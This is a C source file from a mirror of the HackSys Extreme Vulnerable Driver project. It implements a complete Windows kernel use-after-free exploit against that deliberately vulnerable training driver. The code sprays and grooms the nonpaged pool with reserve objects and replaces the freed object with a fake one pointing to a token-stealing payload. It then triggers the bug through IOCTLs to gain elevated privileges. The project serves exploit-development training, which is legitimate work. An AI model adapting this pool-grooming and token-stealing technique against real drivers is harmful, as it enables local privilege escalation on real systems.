mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
Ashfaq Ansari
263 lines
8.9 KiB
C
263 lines
8.9 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify it under the terms of
|
|
the GNU General Public License as published by the Free Software Foundation, either version
|
|
3 of the License, or (at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
|
|
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
|
See the GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License along with this program.
|
|
If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
|
|
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
UseAfterFree.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Use After Free
|
|
Vulnerability implemented in HackSys Extreme Vulnerable
|
|
Driver.
|
|
|
|
--*/
|
|
|
|
#include "UseAfterFree.h"
|
|
|
|
VOID SprayNonPagedPoolWithReserveObjects() {
|
|
UINT32 i = 0;
|
|
HMODULE hModule = NULL;
|
|
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
|
|
|
|
hModule = LoadLibraryA("ntdll.dll");
|
|
|
|
if (!hModule) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(hModule, "NtAllocateReserveObject");
|
|
|
|
if (!NtAllocateReserveObject) {
|
|
DEBUG_ERROR("\t\t[-] Failed Resolving NtAllocateReserveObject: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
NtStatus = NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT);
|
|
|
|
if (NtStatus != STATUS_SUCCESS) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 0; i < 5000; i++) {
|
|
NtStatus = NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT);
|
|
|
|
if (NtStatus != STATUS_SUCCESS) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Allocate Reserve Objects: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID CreateHolesInNonPagedPoolByClosingReserveObjects() {
|
|
UINT32 i = 0;
|
|
|
|
for (i = 0; i < 5000; i += 2) {
|
|
if (!CloseHandle(ReserveObjectArrayB[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
VOID FreeReserveObjects() {
|
|
UINT32 i = 0;
|
|
|
|
for (i = 0; i < 10000; i++) {
|
|
if (!CloseHandle(ReserveObjectArrayA[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
for (i = 1; i < 5000; i +=2) {
|
|
if (!CloseHandle(ReserveObjectArrayB[i])) {
|
|
DEBUG_ERROR("\t\t[-] Failed To Close Reserve Objects Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI UseAfterFreeThread(LPVOID Parameter) {
|
|
UINT32 i = 0;
|
|
HANDLE hFile = NULL;
|
|
ULONG BytesReturned;
|
|
PFAKE_OBJECT FakeObject = NULL;
|
|
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
|
|
PVOID EopPayload = &TokenStealingPayloadWin7Generic;
|
|
|
|
__try {
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
|
|
|
|
hFile = GetDeviceHandle(FileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
|
|
|
|
// Allocate the Heap chunk
|
|
FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
sizeof(FAKE_OBJECT));
|
|
|
|
if (!FakeObject) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", FakeObject);
|
|
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", sizeof(FAKE_OBJECT));
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing FAKE_OBJECT structure\n");
|
|
|
|
RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41);
|
|
|
|
FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0';
|
|
*(PULONG)FakeObject = (ULONG)EopPayload;
|
|
|
|
DEBUG_INFO("\t\t\t[+] FakeObject Value: 0x%p\n", *(PULONG)FakeObject);
|
|
DEBUG_INFO("\t\t\t[+] FakeObject Address: 0x%p\n", FakeObject);
|
|
DEBUG_INFO("\t\t\t[+] FAKE_OBJECT Size: 0x%X\n", sizeof(FAKE_OBJECT));
|
|
|
|
DEBUG_INFO("\t\t\t[+] EoP Payload: 0x%p\n", EopPayload);
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing NonPaged Kernel Pool Layout\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Spraying With Reserve Objects\n");
|
|
|
|
SprayNonPagedPoolWithReserveObjects();
|
|
|
|
DEBUG_INFO("\t\t\t[+] Creating Holes\n");
|
|
|
|
CreateHolesInNonPagedPoolByClosingReserveObjects();
|
|
|
|
DEBUG_INFO("\t\t[+] Working With Vulnerable UaF Object In NonPaged Pool\n");
|
|
DEBUG_INFO("\t\t\t[+] Allocating UaF Object\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Freeing UaF Object\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
// Allocate the FAKE_OBJECT multiple times to take up the freed memory chunk
|
|
DEBUG_INFO("\t\t\t[+] Filling Freed Chunks\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
for (i = 0; i < 0x1000; i++) {
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
|
|
(LPVOID)FakeObject,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
}
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DEBUG_INFO("\t\t\t[+] Freeing Reserve Objects\n");
|
|
|
|
FreeReserveObjects();
|
|
|
|
DEBUG_MESSAGE("\t[+] Triggering Kernel Use After Free\n");
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_USE_UAF_OBJECT,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)FakeObject);
|
|
|
|
FakeObject = NULL;
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|